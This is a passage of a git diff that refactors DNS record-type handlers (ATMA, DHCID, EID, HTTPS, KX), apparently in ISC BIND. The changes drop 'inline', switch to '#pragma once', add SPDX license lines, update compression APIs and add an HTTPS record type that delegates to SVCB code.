  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_ATMA_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_atma(ARGS_FROMTEXT) {
 	isc_token_t token;
 	isc_textregion_t *sr;
@@ -105,7 +107,7 @@ fromtext_in_atma(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_atma(ARGS_TOTEXT) {
 	isc_region_t region;
 	char buf[sizeof("xx")];
@@ -138,7 +140,7 @@ totext_in_atma(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_atma(ARGS_FROMWIRE) {
 	isc_region_t region;
 
@@ -147,7 +149,6 @@ fromwire_in_atma(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &region);
@@ -167,7 +168,7 @@ fromwire_in_atma(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_atma(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_atma);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -178,7 +179,7 @@ towire_in_atma(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_in_atma(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -195,7 +196,7 @@ compare_in_atma(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_atma(ARGS_FROMSTRUCT) {
 	dns_rdata_in_atma_t *atma = source;
 
@@ -213,7 +214,7 @@ fromstruct_in_atma(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, atma->atma, atma->atma_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_atma(ARGS_TOSTRUCT) {
 	dns_rdata_in_atma_t *atma = target;
 	isc_region_t r;
@@ -232,15 +233,11 @@ tostruct_in_atma(ARGS_TOSTRUCT) {
 	isc_region_consume(&r, 1);
 	atma->atma_len = r.length;
 	atma->atma = mem_maybedup(mctx, r.base, r.length);
-	if (atma->atma == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	atma->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_atma(ARGS_FREESTRUCT) {
 	dns_rdata_in_atma_t *atma = source;
 
@@ -258,19 +255,20 @@ freestruct_in_atma(ARGS_FREESTRUCT) {
 	atma->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_atma(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_atma);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_atma(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -282,7 +280,7 @@ digest_in_atma(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_atma(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_atma);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -295,7 +293,7 @@ checkowner_in_atma(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_atma(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_atma);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -307,7 +305,7 @@ checknames_in_atma(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_atma(ARGS_COMPARE) {
 	return (compare_in_atma(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/atma_34.h b/lib/dns/rdata/in_1/atma_34.h
index b0ea98ee7f..412b4284ce 100644
--- a/lib/dns/rdata/in_1/atma_34.h
+++ b/lib/dns/rdata/in_1/atma_34.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_ATMA_22_H
-#define IN_1_ATMA_22_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1706 */
@@ -22,5 +23,3 @@ typedef struct dns_rdata_in_atma {
 	unsigned char *atma;
 	uint16_t atma_len;
 } dns_rdata_in_atma_t;
-
-#endif /* IN_1_ATMA_22_H */
diff --git a/lib/dns/rdata/in_1/dhcid_49.c b/lib/dns/rdata/in_1/dhcid_49.c
index 454bf58292..3ad50648e9 100644
--- a/lib/dns/rdata/in_1/dhcid_49.c
+++ b/lib/dns/rdata/in_1/dhcid_49.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_DHCID_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_dhcid(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_dhcid);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -30,7 +32,7 @@ fromtext_in_dhcid(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_dhcid(ARGS_TOTEXT) {
 	isc_region_t sr, sr2;
 	/* " ; 64000 255 64000" */
@@ -64,7 +66,7 @@ totext_in_dhcid(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_dhcid(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -74,7 +76,6 @@ fromwire_in_dhcid(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length == 0) {
@@ -85,7 +86,7 @@ fromwire_in_dhcid(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_dhcid(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -99,7 +100,7 @@ towire_in_dhcid(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_in_dhcid(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -116,7 +117,7 @@ compare_in_dhcid(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_dhcid(ARGS_FROMSTRUCT) {
 	dns_rdata_in_dhcid_t *dhcid = source;
 
@@ -133,7 +134,7 @@ fromstruct_in_dhcid(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, dhcid->dhcid, dhcid->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_dhcid(ARGS_TOSTRUCT) {
 	dns_rdata_in_dhcid_t *dhcid = target;
 	isc_region_t region;
@@ -150,15 +151,11 @@ tostruct_in_dhcid(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 
 	dhcid->dhcid = mem_maybedup(mctx, region.base, region.length);
-	if (dhcid->dhcid == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	dhcid->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_dhcid(ARGS_FREESTRUCT) {
 	dns_rdata_in_dhcid_t *dhcid = source;
 
@@ -176,19 +173,20 @@ freestruct_in_dhcid(ARGS_FREESTRUCT) {
 	dhcid->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_dhcid(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_dhcid);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_dhcid(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -200,7 +198,7 @@ digest_in_dhcid(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_dhcid(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_dhcid);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -213,7 +211,7 @@ checkowner_in_dhcid(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_dhcid(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_dhcid);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -225,7 +223,7 @@ checknames_in_dhcid(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_dhcid(ARGS_COMPARE) {
 	return (compare_in_dhcid(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/dhcid_49.h b/lib/dns/rdata/in_1/dhcid_49.h
index bc5af55442..338476ea6d 100644
--- a/lib/dns/rdata/in_1/dhcid_49.h
+++ b/lib/dns/rdata/in_1/dhcid_49.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef IN_1_DHCID_49_H
-#define IN_1_DHCID_49_H 1
+#pragma once
 
 typedef struct dns_rdata_in_dhcid {
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_in_dhcid {
 	unsigned char *dhcid;
 	unsigned int length;
 } dns_rdata_in_dhcid_t;
-
-#endif /* IN_1_DHCID_49_H */
diff --git a/lib/dns/rdata/in_1/eid_31.c b/lib/dns/rdata/in_1/eid_31.c
index fdab429e50..42e0910403 100644
--- a/lib/dns/rdata/in_1/eid_31.c
+++ b/lib/dns/rdata/in_1/eid_31.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_EID_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_eid(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_eid);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -30,7 +32,7 @@ fromtext_in_eid(ARGS_FROMTEXT) {
 	return (isc_hex_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_eid(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -55,7 +57,7 @@ totext_in_eid(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_eid(ARGS_FROMWIRE) {
 	isc_region_t region;
 
@@ -64,7 +66,6 @@ fromwire_in_eid(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &region);
@@ -77,7 +78,7 @@ fromwire_in_eid(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_eid(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_eid);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -88,7 +89,7 @@ towire_in_eid(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_in_eid(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -105,7 +106,7 @@ compare_in_eid(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_eid(ARGS_FROMSTRUCT) {
 	dns_rdata_in_eid_t *eid = source;
 
@@ -122,7 +123,7 @@ fromstruct_in_eid(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, eid->eid, eid->eid_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_eid(ARGS_TOSTRUCT) {
 	dns_rdata_in_eid_t *eid = target;
 	isc_region_t r;
@@ -139,15 +140,11 @@ tostruct_in_eid(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	eid->eid_len = r.length;
 	eid->eid = mem_maybedup(mctx, r.base, r.length);
-	if (eid->eid == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	eid->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_eid(ARGS_FREESTRUCT) {
 	dns_rdata_in_eid_t *eid = source;
 
@@ -165,19 +162,20 @@ freestruct_in_eid(ARGS_FREESTRUCT) {
 	eid->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_eid(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_eid);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_eid(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -189,7 +187,7 @@ digest_in_eid(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_eid(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_eid);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -202,7 +200,7 @@ checkowner_in_eid(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_eid(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_eid);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -214,7 +212,7 @@ checknames_in_eid(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_eid(ARGS_COMPARE) {
 	return (compare_in_eid(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/eid_31.h b/lib/dns/rdata/in_1/eid_31.h
index 37d7e5eb39..d32bd3eccc 100644
--- a/lib/dns/rdata/in_1/eid_31.h
+++ b/lib/dns/rdata/in_1/eid_31.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_EID_31_H
-#define IN_1_EID_31_H 1
+#pragma once
 
 /*!
  *  \brief http://ana-3.lcs.mit.edu/~jnc/nimrod/dns.txt
@@ -22,5 +23,3 @@ typedef struct dns_rdata_in_eid {
 	unsigned char *eid;
 	uint16_t eid_len;
 } dns_rdata_in_eid_t;
-
-#endif /* IN_1_EID_31_H */
diff --git a/lib/dns/rdata/in_1/https_65.c b/lib/dns/rdata/in_1/https_65.c
new file mode 100644
index 0000000000..af1ad7ff84
--- /dev/null
+++ b/lib/dns/rdata/in_1/https_65.c
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* draft-ietf-dnsop-svcb-https-02 */
+
+#pragma once
+
+#define RRTYPE_HTTPS_ATTRIBUTES (DNS_RDATATYPEATTR_FOLLOWADDITIONAL)
+
+/*
+ * Most of these functions refer to equivalent functions for SVCB,
+ * since wire and presentation formats are identical.
+ */
+
+static isc_result_t
+fromtext_in_https(ARGS_FROMTEXT) {
+	REQUIRE(type == dns_rdatatype_https);
+	REQUIRE(rdclass == dns_rdataclass_in);
+
+	return (generic_fromtext_in_svcb(CALL_FROMTEXT));
+}
+
+static isc_result_t
+totext_in_https(ARGS_TOTEXT) {
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_totext_in_svcb(CALL_TOTEXT));
+}
+
+static isc_result_t
+fromwire_in_https(ARGS_FROMWIRE) {
+	REQUIRE(type == dns_rdatatype_https);
+	REQUIRE(rdclass == dns_rdataclass_in);
+
+	return (generic_fromwire_in_svcb(CALL_FROMWIRE));
+}
+
+static isc_result_t
+towire_in_https(ARGS_TOWIRE) {
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_towire_in_svcb(CALL_TOWIRE));
+}
+
+static int
+compare_in_https(ARGS_COMPARE) {
+	isc_region_t region1;
+	isc_region_t region2;
+
+	REQUIRE(rdata1->type == rdata2->type);
+	REQUIRE(rdata1->rdclass == rdata2->rdclass);
+	REQUIRE(rdata1->type == dns_rdatatype_https);
+	REQUIRE(rdata1->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata1->length != 0);
+	REQUIRE(rdata2->length != 0);
+
+	dns_rdata_toregion(rdata1, &region1);
+	dns_rdata_toregion(rdata2, &region2);
+
+	return (isc_region_compare(&region1, &region2));
+}
+
+static isc_result_t
+fromstruct_in_https(ARGS_FROMSTRUCT) {
+	dns_rdata_in_https_t *https = source;
+
+	REQUIRE(type == dns_rdatatype_https);
+	REQUIRE(rdclass == dns_rdataclass_in);
+	REQUIRE(https != NULL);
+	REQUIRE(https->common.rdtype == type);
+	REQUIRE(https->common.rdclass == rdclass);
+
+	return (generic_fromstruct_in_svcb(CALL_FROMSTRUCT));
+}
+
+static isc_result_t
+tostruct_in_https(ARGS_TOSTRUCT) {
+	dns_rdata_in_https_t *https = target;
+
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(https != NULL);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_tostruct_in_svcb(CALL_TOSTRUCT));
+}
+
+static void
+freestruct_in_https(ARGS_FREESTRUCT) {
+	dns_rdata_in_https_t *https = source;
+
+	REQUIRE(https != NULL);
+	REQUIRE(https->common.rdclass == dns_rdataclass_in);
+	REQUIRE(https->common.rdtype == dns_rdatatype_https);
+
+	generic_freestruct_in_svcb(CALL_FREESTRUCT);
+}
+
+static isc_result_t
+additionaldata_in_https(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	return (generic_additionaldata_in_svcb(CALL_ADDLDATA));
+}
+
+static isc_result_t
+digest_in_https(ARGS_DIGEST) {
+	isc_region_t region1;
+
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	dns_rdata_toregion(rdata, &region1);
+	return ((digest)(arg, &region1));
+}
+
+static bool
+checkowner_in_https(ARGS_CHECKOWNER) {
+	REQUIRE(type == dns_rdatatype_https);
+	REQUIRE(rdclass == dns_rdataclass_in);
+
+	UNUSED(name);
+	UNUSED(type);
+	UNUSED(rdclass);
+	UNUSED(wildcard);
+
+	return (true);
+}
+
+static bool
+checknames_in_https(ARGS_CHECKNAMES) {
+	REQUIRE(rdata->type == dns_rdatatype_https);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	return (generic_checknames_in_svcb(CALL_CHECKNAMES));
+}
+
+static int
+casecompare_in_https(ARGS_COMPARE) {
+	return (compare_in_https(rdata1, rdata2));
+}
+
+isc_result_t
+dns_rdata_in_https_first(dns_rdata_in_https_t *https) {
+	REQUIRE(https != NULL);
+	REQUIRE(https->common.rdtype == dns_rdatatype_https);
+	REQUIRE(https->common.rdclass == dns_rdataclass_in);
+
+	return (generic_rdata_in_svcb_first(https));
+}
+
+isc_result_t
+dns_rdata_in_https_next(dns_rdata_in_https_t *https) {
+	REQUIRE(https != NULL);
+	REQUIRE(https->common.rdtype == dns_rdatatype_https);
+	REQUIRE(https->common.rdclass == dns_rdataclass_in);
+
+	return (generic_rdata_in_svcb_next(https));
+}
+
+void
+dns_rdata_in_https_current(dns_rdata_in_https_t *https, isc_region_t *region) {
+	REQUIRE(https != NULL);
+	REQUIRE(https->common.rdtype == dns_rdatatype_https);
+	REQUIRE(https->common.rdclass == dns_rdataclass_in);
+	REQUIRE(region != NULL);
+
+	generic_rdata_in_svcb_current(https, region);
+}
diff --git a/lib/dns/rdata/in_1/https_65.h b/lib/dns/rdata/in_1/https_65.h
new file mode 100644
index 0000000000..589f983113
--- /dev/null
+++ b/lib/dns/rdata/in_1/https_65.h
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*!
+ *  \brief Per draft-ietf-dnsop-svcb-https-02
+ */
+
+/*
+ * Wire and presentation formats for HTTPS are identical to SVCB.
+ */
+typedef struct dns_rdata_in_svcb dns_rdata_in_https_t;
+
+isc_result_t
+dns_rdata_in_https_first(dns_rdata_in_https_t *);
+
+isc_result_t
+dns_rdata_in_https_next(dns_rdata_in_https_t *);
+
+void
+dns_rdata_in_https_current(dns_rdata_in_https_t *, isc_region_t *);
diff --git a/lib/dns/rdata/in_1/kx_36.c b/lib/dns/rdata/in_1/kx_36.c
index 2b47aa919f..6c7ef5589f 100644
--- a/lib/dns/rdata/in_1/kx_36.c
+++ b/lib/dns/rdata/in_1/kx_36.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_KX_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_kx(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -47,12 +49,12 @@ fromtext_in_kx(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_kx(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -72,11 +74,12 @@ totext_in_kx(ARGS_TOTEXT) {
 	RETERR(str_totext(" ", target));
 
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_kx(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sregion;
@@ -87,7 +90,7 @@ fromwire_in_kx(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -97,10 +100,10 @@ fromwire_in_kx(ARGS_FROMWIRE) {
 	}
 	RETERR(mem_tobuffer(target, sregion.base, 2));
 	isc_buffer_forward(source, 2);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_kx(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -110,7 +113,7 @@ towire_in_kx(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_rdata_toregion(rdata, &region);
 	RETERR(mem_tobuffer(target, region.base, 2));
 	isc_region_consume(&region, 2);
@@ -118,10 +121,10 @@ towire_in_kx(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_in_kx(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -156,7 +159,7 @@ compare_in_kx(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_kx(ARGS_FROMSTRUCT) {
 	dns_rdata_in_kx_t *kx = source;
 	isc_region_t region;
@@ -175,7 +178,7 @@ fromstruct_in_kx(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_kx(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_in_kx_t *kx = target;
@@ -198,12 +201,12 @@ tostruct_in_kx(ARGS_TOSTRUCT) {
 
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&kx->exchange, NULL);
-	RETERR(name_duporclone(&name, mctx, &kx->exchange));
+	name_duporclone(&name, mctx, &kx->exchange);
 	kx->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_kx(ARGS_FREESTRUCT) {
 	dns_rdata_in_kx_t *kx = source;
 
@@ -219,7 +222,7 @@ freestruct_in_kx(ARGS_FREESTRUCT) {
 	kx->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_kx(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -228,15 +231,17 @@ additionaldata_in_kx(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_kx);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_kx(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	dns_name_t name;
@@ -254,7 +259,7 @@ digest_in_kx(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_in_kx(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_kx);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -267,7 +272,7 @@ checkowner_in_kx(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_kx(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_kx);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -279,7 +284,7 @@ checknames_in_kx(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_kx(ARGS_COMPARE) {
 	return (compare_in_kx(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/kx_36.h b/lib/dns/rdata/in_1/kx_36.h
index bb685befed..9e2243b180 100644
--- a/lib/dns/rdata/in_1/kx_36.h
+++ b/lib/dns/rdata/in_1/kx_36.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
